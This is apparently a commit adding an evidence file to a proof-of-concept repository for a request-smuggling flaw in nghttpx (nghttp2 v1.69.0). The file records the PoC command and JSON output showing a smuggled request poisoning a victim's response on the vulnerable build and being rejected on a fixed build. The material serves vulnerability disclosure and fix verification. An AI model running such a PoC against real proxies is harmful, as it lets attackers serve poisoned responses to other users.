Upload files to "nghttp2-nghttpx-upgrade-queue-poison-poc/evidence"
This commit is contained in:
@@ -0,0 +1,56 @@
|
|||||||
|
Local verification date: 2026-06-26
|
||||||
|
|
||||||
|
Vulnerable target:
|
||||||
|
|
||||||
|
nghttp2 v1.69.0
|
||||||
|
nghttpx nghttp2/1.69.0
|
||||||
|
release commit 68cb6900fde14c77f0cd7add0e094a862960eb99
|
||||||
|
|
||||||
|
Command:
|
||||||
|
|
||||||
|
python3 poc.py --nghttpx ./build-v1.69.0/src/nghttpx --cwd ./nghttp2-v1.69.0
|
||||||
|
|
||||||
|
Output:
|
||||||
|
|
||||||
|
{
|
||||||
|
"attacker_body": "UPGRADE-REJECT",
|
||||||
|
"victim_body": "SMUGGLED-BENIGN-PAYLOAD",
|
||||||
|
"victim_received_poison": true,
|
||||||
|
"victim_received_expected": false,
|
||||||
|
"backend_connections": 2,
|
||||||
|
"backend_requests": [
|
||||||
|
[
|
||||||
|
"GET /upgrade HTTP/1.1",
|
||||||
|
"GET /poisoned HTTP/1.1",
|
||||||
|
"GET /victim HTTP/1.1"
|
||||||
|
],
|
||||||
|
[]
|
||||||
|
],
|
||||||
|
"nghttpx_returncode": -15
|
||||||
|
}
|
||||||
|
|
||||||
|
Fixed-control target:
|
||||||
|
|
||||||
|
upstream master after ab28105c4a0197da24f8bfc414bc116055249e1e
|
||||||
|
nghttpx nghttp2/1.69.90
|
||||||
|
|
||||||
|
Command:
|
||||||
|
|
||||||
|
python3 poc.py --nghttpx ./build-fixed/src/nghttpx --cwd ./nghttp2-fixed --expect-fixed
|
||||||
|
|
||||||
|
Output:
|
||||||
|
|
||||||
|
{
|
||||||
|
"attacker_body": "<!DOCTYPE html><html lang=\"en\"><title>400 Bad Request</title><body><h1>400 Bad Request</h1><footer>nghttpx</footer></body></html>",
|
||||||
|
"victim_body": "VICTIM-RESPONSE",
|
||||||
|
"victim_received_poison": false,
|
||||||
|
"victim_received_expected": true,
|
||||||
|
"backend_connections": 2,
|
||||||
|
"backend_requests": [
|
||||||
|
[
|
||||||
|
"GET /victim HTTP/1.1"
|
||||||
|
],
|
||||||
|
[]
|
||||||
|
],
|
||||||
|
"nghttpx_returncode": -15
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user